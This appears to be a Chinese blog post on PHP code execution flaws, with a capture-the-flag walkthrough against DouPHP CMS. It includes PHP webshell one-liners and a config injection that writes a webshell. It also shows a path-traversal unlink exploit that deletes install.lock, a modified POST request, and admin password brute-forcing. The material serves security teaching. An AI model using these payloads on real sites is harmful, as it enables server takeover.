代码执行漏洞详解

小知识

代码审计:

  • 通读全文【新手建议读blueCMS】。
  • 危险函数定位【代码审计工具】。
  • 利用曾经出现过的漏洞。

漏洞原理

  1. 用户输入的数据被当做后端代码进行执行。
  2. <?php @eval($_REQUEST[8])?> ,其实一句话木马的本质就是一个代码执行漏洞。
  3. 这里提一个概念叫RCE远程命令或者代码执行。现在因为RCE这个词的滥用,RCE的范围比较广,只要渗透的最终情况可以实现执行命令或者是代码都属于RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以属于RCE

相关函数

【注:为了方便把要执行的代码写为$a

eval()函数

  • 把字符串当代码执行【eval不是函数,因为他不受disable_function的影响】。
  • disable_functionphp.ini配置文件,可以禁用函数。

assert()函数

把字符串当代码执行,与eval()的区别在于assert()只能执行单行代码,eval()函数可以多行执行。

//常见防范措施

 assert("eval('')")       
 file_put_contents('1.php','<?php echo 1;echo 2;echo 3;?>')    //eval()被禁用

preg_replace()函数

PHP preg_replace() 函数
php正则/e的用法示例

preg_replace('/a/e',$_GET[8],'bc'); 

在这里插入图片描述

create_function()函数

匿名函数 —— 定义+ 调用

$a = create_function('$id','echo $id;');      //自定义函数$a
echo $a(8);       //执行echo $id;因为$id我传参是8,所以echo $id;

输出8
<?php 
$a = create_function('',$_REQUEST[8]);
?>
||
function abc($a) {
}phpinfo();//
}

在这里插入图片描述

array_map()函数

<?php 
$a = [1];
array_map('phpinfo',$a);
?>

在这里插入图片描述
在这里插入图片描述

特殊组合(双引号二次解析)

注意:
PHP版本5.5及其以上版本可以使用;
得在双引号内;
${} 在一起;
中间的东西会当作代码执行。

<?php 
$a = "${phpinfo()}";
?>

在这里插入图片描述
在这里插入图片描述

靶场练习

  1. 该靶场为douphpcms,首先在本地安装douphp
    在这里插入图片描述
    装好即可自动生成一个文件config.php,保存账户名和密码,发现均用双引号进行的闭合,我们想到用最后一种函数— 特殊组合(双引号二次解析)。
    在这里插入图片描述2. 再次重现安装douphp,将数据库账号写为${file_put_contents('123.php','<?php eval($_REQUEST[8]);?>')},安装后发现报错,但是配置文件config.php已经发生了改变。

在这里插入图片描述

在这里插入图片描述
我们发现配置文件中我们payload中的单引号被进行了转义,为了防止转义,我们修改payload${file_put_contents($_GET[1],$_GET[2])}。再次上传后,我们访问http://127.0.0.1/douphp/data/config.php?1=666.php&2=<?php eval($_REQUEST[8])?>,即666.php文件生成。
在这里插入图片描述
在这里插入图片描述

  1. 但是正常情况下,我们不会得到一个cms的安装界面,它的install文件一般会被锁定。
    在这里插入图片描述

  2. 只有我们删除data目录下的install.lock才不会被锁定,因此,问题的核心现在是如何删除这个锁定文件或者修改这个锁定文件的文件名。

  3. PHP unlink() 函数
    因此,我们现在需要打开代码审计工具,寻找这个函数可以利用的点。
    在这里插入图片描述

  4. 我们找到第二条,查看是否可以。
    在这里插入图片描述
    我们分析源码,定位is_backup_file函数,发现要求了文件的头和尾,因此这个点不太可以。
    在这里插入图片描述

  5. 最终,我们发现第六条可以尝试一下。
    在这里插入图片描述
    引号内为字符串,$为变量,其余均为常量。

@ unlink(ROOT_PATH . M_PATH . '/theme/' . $_CFG['mobile_theme'] . '/images/' . $mobile_logo);
  1. 我们接下来的核心是控制$mobile_logo
 $mobile_logo = $dou->get_one("SELECT value FROM " . $dou->table('config') . " WHERE name = 'mobile_logo'");

table函数意思为给表名加前缀,数据库中的config表的mobile_logo字段中有一个value值。

在这里插入图片描述

  1. 我们找到这段源码对应的文件位置并访问。
    在这里插入图片描述
    我们任意上传一个文件,回到数据库发现mobile_log有了值。
    在这里插入图片描述
  2. 接下来我们尝试得到unlink后面的文件路径,修改admin/mobile.phpunlink那行代码如下:
die(ROOT_PATH . M_PATH . '/theme/' . $_CFG['mobile_theme'] . '/images/' . $mobile_logo);

即可得到路径C:/phpstudy/WWW/douphp/m/theme/default/images/logo.png
在这里插入图片描述
我们接下来的任务就是把../../../../data/install.lock这个路径写进去,就可以删除这个文件。

  1. 我们到上传图片的位置尝试。
    在这里插入图片描述
    我们的目的是使$value = ../../../../data/install.lock$name = mobile_log
foreach ($_POST as $name => $value) {       //数组中的键值分离
       if (is_array($value)) $value = serialize($value);
       $dou->query("UPDATE " . $dou->table('config') . " SET value = '$value' WHERE name = '$name'");
}
  1. 因此我们只需要代码执行csrf防御令牌验证这段代码,不需要执行上面上传图片的代码,而上传代码的核心是 if ($_FILES['mobile_logo']['name'] != '')
  2. 我们上传依次图片后,再次点击提交,抓取点击提交时的数据包。
    在这里插入图片描述

修改如下:
在这里插入图片描述
重新刷新数据库,发现数据库更新成功。
在这里插入图片描述

  1. 我们点击删除LOGE,即可重新安装douphp

  2. 回到我们本题的靶场,访问/admin,直接爆破皆可得到账号为admin,密码为123456

  3. 访问http://dm521zx.zs.aqlab.cn/admin/mobile.php,重复第十三步,放包后点击删除LOGE,即可回到安装页面。
    在这里插入图片描述
    注意路径与下面的分割线不可有空行!http数据包的格式要求】

  4. 继续进行第二步步骤,即可成功上传123.php,使用蚁剑连接即可得到flag
    在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

poggioxay

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值